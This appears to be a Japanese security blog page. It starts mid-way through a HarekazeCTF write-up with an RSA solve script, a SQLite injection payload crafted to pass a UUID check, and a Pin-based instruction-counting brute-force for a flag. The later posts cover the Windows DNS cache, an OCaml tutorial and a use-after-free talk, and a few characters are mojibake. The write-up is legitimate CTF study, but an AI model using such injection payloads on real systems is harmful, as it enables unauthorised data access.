q1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745568763680874120108583912617489933976894172558366109559645634758298286470207143481537561897150407972412540709976696855267154744423609260252738825337344339874487812781362826063927023814123654794249583090654283919689841700775405866650720124813397785666726161029434903581762204459888078943696756054152989895680616

a = p1
b = q1
t = gmpy.sqrt(4*a*a-8*a*b+4*a+4*b*b+4*b-3)
p = (t-2*a+2*b+1)/2
q = (t+2*a-2*b+1)/2

e = (1<<16)+1
d = gmpy.invert(e, (p-1)*(q-1))
print ("%02x" % pow(enc, d, p*q)).decode('hex')

$ python solve.py
HarekazeCTF{d1d_y0u_7ry_b1n4ry_se4rch?}

Sokosoko Secure Uploader (Web, 100 points)

与えられた暗号化済みPNGファイルを復号する問題。また、鍵となるUUIDが9e5aで始まることが与えられている。 SQLiteのSQL injection脆弱性があるが、is_uuid関数によるチェックを通るように文字列を与える必要がある。

'OR id/*-AAAA-AAAA-AAAA-*/LIKE'9e5a%

HarekazeCTF{k41k4n_j1kk4n_j1n615uk4n}

my favorite language (Rev + Misc, 200 points)

Lazy Kで書かれたフラグチェッカー。 C言語で書かれたインタプリタで実行した際の命令数をIntel Pinを用いて調べると、1バイトごとに比較が行われていることがわかる。 何文字か探索するとフラグが16進文字列らしいことがわかるので、これを利用して範囲を絞りつつ探索する。

from subprocess import Popen, PIPE

chars = map(ord, ' 0123456789ABCDEF{}')

s = 'HarekazeCTF{'
while True:
    last = None
    #for c in xrange(0x20, 0x7f):
    for c in chars:
        s2 = s + chr(c)
        p = Popen(['bash', '../pin-3.5-97503-gac534ca30-gcc-linux/inscount0.sh', './lazyk', 'foo.lazy'], stdin=PIPE, stdout=PIPE, stderr=PIPE)
        stdout, stderr = p.communicate(s2+'\n')
        inscount = int(stderr)
        print "%s: %d" % (s2, inscount)
        if last is not None and inscount > last:
            s = s2
            break
        last = inscount
    else:
        raise Exception()

HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93Cz: 248839183
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C{: 244417392
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C|: 241721601
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C}: 241942949

$ echo -n HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C} | ./lazyk foo.lazy
correct flag

recursive zip (Warmup, 40 points)

flag.zipの中にflag.zipが再帰的に入っているという問題。 次のようなシェルスクリプトで解いた。

#!/bin/bash
unzip -p flag.zip >a.zip
while true; do
xxd a.zip | head
unzip -p a.zip >b.zip
xxd b.zip | head
unzip -p b.zip >a.zip
done

HarekazeCTF{(\lambda f. (\lambda x. f (x x)) (\lambda x . f (x x))) zip}

所感

他に解きたかった問題は以下。

• Lost_data (For + Misc, 100 points)
• WE'RE WATCHING YOU! (Misc +OSINT, 100 points)
• Unnormalized-form Data (Misc, 127 points)
• Flea Attack (Pwn, 200 points)
• alnush (Pwn, 200 points)
• gacha 2 (Crypto, 350 points)
• my favorite language 2 (Rev + Misc, 250 points)

WindowsホストのDNSキャッシュを表示する

OS起動中に保持されるDNSキャッシュを表示するには、ipconfig /displaydns または powershell -c Get-DNSClientCache （Windows 8以降）を使う。

>ipconfig /displaydns

Windows IP 構成

    www.gstatic.com
    ----------------------------------------
    タイプ AAAA のレコードがありません


    www.gstatic.com
    ----------------------------------------
    レコード名 . . . . . . . : www.gstatic.com
    レコードの種類 . . . . . : 1
    Time To Live  . . . . . .: 236
    データの長さ . . . . . . : 4
    セクション . . . . . . . : 回答
    A (ホスト) レコード. . . : 216.58.221.3

(snip)

    pagead46.l.doubleclick.net
    ----------------------------------------
    タイプ AAAA のレコードがありません


    pagead46.l.doubleclick.net
    ----------------------------------------
    レコード名 . . . . . . . : pagead46.l.doubleclick.net
    レコードの種類 . . . . . : 1
    Time To Live  . . . . . .: 93
    データの長さ . . . . . . : 4
    セクション . . . . . . . : 回答
    A (ホスト) レコード. . . : 172.217.26.2

>ipconfig /displaydns | findstr レコード名
    レコード名 . . . . . . . : safebrowsing.googleapis.com
    レコード名 . . . . . . . : www.gstatic.com
    レコード名 . . . . . . . : plus.l.google.com
    レコード名 . . . . . . . : ssl.gstatic.com
    レコード名 . . . . . . . : www.google.com
    レコード名 . . . . . . . : adservice.google.co.jp
    レコード名 . . . . . . . : pagead46.l.doubleclick.net
    レコード名 . . . . . . . : apis.google.com
    レコード名 . . . . . . . : plus.l.google.com
    レコード名 . . . . . . . : www.google.co.jp
    レコード名 . . . . . . . : pagead46.l.doubleclick.net

>powershell -c Get-DNSClientCache

Entry                     RecordName                Record Status    Section TimeTo Data L Data
                                                    Type                     Live   ength
-----                     ----------                ------ ------    ------- ------ ------ ----
c.msn.com.nsatc.net       c.msn.com.nsatc.net       A      Success   Answer     103      4 111.221.29.30
devconnections.com        devconnections.com        A      Success   Answer   86043      4 8.33.3.94
(snip)
www.facebook.com          www.facebook.com          CNAME  Success   Answer      14      8 star-mini.c10r.facebook.com
www.facebook.com          star-mini.c10r.faceboo... A      Success   Answer      14      4 31.13.82.36

>powershell -c "Get-DNSClientCache | select Entry,Data"

Entry                                                       Data
-----                                                       ----
c.msn.com.nsatc.net                                         111.221.29.30
devconnections.com                                          8.33.3.94
(snip)
www.facebook.com                                            star-mini.c10r.facebook.com
www.facebook.com                                            31.13.82.36

なお、データの実体はサービス名Dnscache（DNS Client）を提供するプロセスsvchost.exeのヒープメモリ上にある。

関連リンク

• PowerShell: How to get DNS client Cache
• Rekall Forensics blog: The Windows User mode heap and the DNS resolver cache.
• mnemonic-no/dnscache: Volatility memory forensics plugin for extracting Windows DNS Cache

OCamlで簡単なプログラムを書いてみる

プログラミング言語のひとつであるOCamlで簡単なプログラムを書いてみる。

環境

Ubuntu 16.04.2 LTS 64bit版、OCaml 4.02.3

$ uname -a
Linux vm-ubuntu64 4.4.0-66-generic #87-Ubuntu SMP Fri Mar 3 15:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.2 LTS
Release:        16.04
Codename:       xenial

$ ocaml -version
The OCaml toplevel, version 4.02.3

OCamlの概要

OCamlはINRIA（フランス国立情報学自動制御研究所）によって開発されたプログラミング言語であり、関数型言語MLの方言であるCamlにオブジェクト指向の要素が取り入れられたものである。 他の関数型言語と同様に、静的な型システム・型推論、パターンマッチ、末尾呼び出し最適化等を備えている。

関数型言語として比較的近いものにHaskellがあるが、Haskellとの違いのひとつに評価戦略がある。 Haskellが遅延評価であるのに対し、OCamlは正格評価である。 遅延評価には不必要な計算が行われないという利点がある一方で、未評価の式（thunk）が溜まるとパフォーマンスが落ちる（スペースリーク）という難点がある。 OCamlは正格評価であるため、正格評価を行う多くのプログラミング言語と同様に考えることができる。 なお、Haskellがseqã‚„$!で正格評価を扱うことができる（参考）ように、OCamlã‚‚lazyによって遅延評価を扱うことができる。

OCamlが使われているプロジェクトとしては、以下が挙げられる。

• OMake（ビルドシステム）
• Haxe（AltJS）
• Facebook Hack（PHP互換言語）
• Facebook Flow（JavaScript型チェッカ）
• Facebook Infer（静的コード解析ツール）
• MirageOS（Unikernel）
• Binary Analysis Platform（プログラム解析フレームワーク）
• WebAssemblyインタプリタのリファレンス実装

OCamlのインストール

• Install OCaml – OCaml

Ubuntuの場合、標準リポジトリからパッケージをインストールできる。 ocaml-noxはX11サポートなし、ocamlはX11サポートありである。

$ sudo apt install ocaml-nox

なお、OCamlにはパッケージマネージャとしてOPAMがあるが、ここではインストールしないことにする。

ocamlコマンドでインタプリタを起動し、適当な計算を行ってみる。 インタプリタでは、;; で式の終わりを表す。

$ ocaml
        OCaml version 4.02.3

# let rec sigma a b f =
    if a > b then 0 else f a + sigma (a+1) b f;;
val sigma : int -> int -> (int -> int) -> int = <fun>
# sigma 1 10 (fun x -> x*x);;
- : int = 385
# [Ctrl+D]

上のコードでは、Σ_{i=1}^10 i^2 = 1^2 + 2^2 + ... + 10^2 = 385 を計算している。 OCamlにおいて、再帰関数は明示的に let rec で定義する。 また、匿名関数（ラムダ式）は (fun PARAMETER_1 ... PARAMETER_n -> EXPR) と書く。

簡単なプログラムを書いてみる

プログラムの例として、素因数分解を行う factor.ml を書いてみる。

let rec factor n =
  if n < 2 then []
  else if n mod 2 = 0 then 2 :: factor (n/2)
  else if n mod 3 = 0 then 3 :: factor (n/3)
  else (
    let rec factor_gt d n =
      if n < d*d then [n]
      else if n mod d = 0 then d :: factor_gt d (n/d)
      else if n mod (d+2) = 0 then (d+2) :: factor_gt d (n/(d+2))
      else factor_gt (d+6) n in
    factor_gt 5 n
  )

let () =
  if Array.length Sys.argv < 2 then (
    Printf.printf "Usage: %s N\n" Sys.argv.(0);
    exit 1
  );
  let n = int_of_string Sys.argv.(1) in
  (* let n = int_of_string (read_line ()) in *)
  let factors = factor n in
  Printf.printf "%d: %s\n" n (String.concat " " (List.map string_of_int factors));

factor は一通り2と3で割った後、平方根以下の適当な整数で試し割りを行う関数である。 OCamlにはC言語におけるmain関数のような概念がないため、慣習的に let () = ... 等でエントリポイントが表わされる。 ローカル変数の定義は let X = A in ... の形の式として表し、連続する式はシークエンス演算子 ; で区切って並べる。 また、コメントは (* *) で表し、C++における // のような1行コメントはない。

ocamloptコマンドで実行ファイルにコンパイルし、実行してみると次のようになる。

$ ocamlopt factor.ml -o factor

$ file factor
factor: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4a20beb80735f3abf4a7f6d85b343a7a737fcb87, not stripped

$ ./factor 360
360: 2 2 2 3 3 5

$ time ./factor 4611686018427387903
4611686018427387903: 3 715827883 2147483647

real    0m2.469s
user    0m2.464s
sys     0m0.004s

$ factor 4611686018427387903
4611686018427387903: 3 715827883 2147483647

上の結果から、正しく実行ファイルにコンパイルされ、素因数分解できていることが確認できる。

なお、64 bit環境においてOCamlのintは63 bit符号付き整数であり、-2⁶²ã‹ã‚‰2⁶²-1までの値となる。 64 bitのうちの1ビットは内部でガベージコレクション用に利用される。

$ ./factor 4611686018427387904
Fatal error: exception Failure("int_of_string")

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> bin(4611686018427387904)
'0b100000000000000000000000000000000000000000000000000000000000000'
>>> len(_)-3
62
>>> [Ctrl+D]

関数型プログラミングで書いてみる

パターンマッチや関数合成を使ったプログラムの例として、上と同じ内容の factor_fp.ml を書いてみる。

let rec factor_by d = function
  | n :: factors when n > d && n mod d == 0 -> factor_by d ((n/d) :: d :: factors)
  | ns -> ns

let factor n =
  let rec factor_gt d = function
    | n :: factors when n < d*d -> n :: factors
    | ns -> factor_by d ns |> factor_by (d+2) |> factor_gt (d+6) in
  if n < 2 then []
  else List.rev (factor_by 2 [n] |> factor_by 3 |> factor_gt 5)

let () =
  if Array.length Sys.argv < 2 then (
    Printf.printf "Usage: %s N\n" Sys.argv.(0);
    exit 1
  );
  let n = int_of_string Sys.argv.(1) in
  (* let n = int_of_string (read_line ()) in *)
  let factors = factor n in
  Printf.printf "%d: %s\n" n (String.concat " " (List.map string_of_int factors))

暗黙の引数を取るパターンマッチ関数は function と | P -> ... を使って定義する。 ガード節は when ... で表し、後続の条件を満たす場合のみマッチさせることができる。 また、f x |> g はいわゆるパイプライン演算子（Reverse-application operator）であり、g (f x) と等価である。

ocamloptコマンドで実行ファイルにコンパイルし、実行してみると次のようになる。

$ ocamlopt factor_fp.ml -o factor_fp

$ ./factor_fp 360
360: 2 2 2 3 3 5

$ time ./factor_fp 4611686018427387903
4611686018427387903: 3 715827883 2147483647

real    0m2.966s
user    0m2.960s
sys     0m0.004s

$ factor 4611686018427387903
4611686018427387903: 3 715827883 2147483647

上の結果から、多少効率は落ちているものの、同じ結果が得られていることが確認できる。

クラスを使ったプログラムを書いてみる

OCamlらしいプログラムの例として、クラスを使った oop_example.ml を書いてみる。

class virtual animal (name : string) = object(self)
  val mutable name = name
  method set_name new_name = name <- new_name
  method virtual cry : unit
end

class dog name = object(self)
  inherit animal name
  method cry = Printf.printf "%s: bowwow\n" name
end

class cat name = object(self)
  inherit animal name
  method cry = Printf.printf "%s: meow\n" name
end

let () =
  let dog = new dog "Snoopy" in
  let cat = new cat "Kitty" in
  dog#cry;
  cat#cry;
  dog#set_name "Pochi";
  cat#set_name "Tama";
  dog#cry;
  cat#cry

animal#cry のような仮想メソッドを持つクラスには、クラス本体にも virtual キーワードを付ける必要があることに注意する。

コンパイルして実行すると次のようになる。

$ ocamlopt oop_example.ml -o oop_example

$ ./oop_example
Snoopy: bowwow
Kitty: meow
Pochi: bowwow
Tama: meow

関連リンク

• The Basics – OCaml
• The Structure of OCaml Programs – OCaml
• Objects – OCaml
• OCaml library : Stdlib
• 99 Problems (solved) in OCaml – OCaml
• M.Hiroi's Home Page / お気楽 OCaml プログラミング入門
• Real World OCaml

更新履歴

• 2021/12/13: 素因数分解のコード・関連リンクを修正、関数型プログラミングの項を追記

「Can We Prevent Use-after-free Attacks?」というタイトルで発表した

• ssmjp スペシャル 〜すみだとささみとみちおさん〜のお知らせ – ssmjp Infomation
• ssmjpスペシャル(2017/06/04) - すみだセキュリティ勉強会

2年前に発表していた勉強会が久しぶりに開催されるということで、Use-after-free攻撃の原理と対策について話した。

Can We Prevent Use-after-free Attacks? from inaz2

最近はCTFが盛り上がっていることもあり、攻撃手法についての話を見ることが多いのだけど、そこから先のどうやったら防げるかという話を見ることは相対的に少ないように思う。 しかし、Attack and Defence形式のCTFにおけるDefence部分だったり、Cyber Grand Challangeにおけるpatch適用の自動化だったり、防御側の視点というのもあるわけで、そういった視点への理解を深めることも必要なのではないか。

あとは、○○はダメだとか、○○すべきなのではないかとか、個々のセキュリティ対策についての議論を見ることも多いのだけど、必要なのはリスクの洗い出しからの評価・対応といったリスクマネジメントを行うことであって、○○が是か非かというような誤った二分法に落とし込むのは少し違うように感じる。 結局のところ、その環境において想定されるリスクに対してコスト・ベネフィットのバランスが取れた管理ができているかというところが「問題」なのではないか。

そういった問題意識から、Use-after-free攻撃という具体的な例について、全体としてどういう対策があるのかというのをまとめてみた。 自分自身、セキュアなアセンブリコードを吐くコンパイラ改良だったり、セキュアなメモリ管理を行うGC付きheapといったコンセプトについて考えるきっかけにもなった。

他の発表も、過去から今を知っているからこその資料的価値のあるものだったり、触れられることの少ないトピックに関する検証を行ったものだったりで、一参加者としてもとても楽しめる内容だった。 さまざまな人の反応を知れたり意見交換ができたことも、よい刺激になった。

ありがとうございました。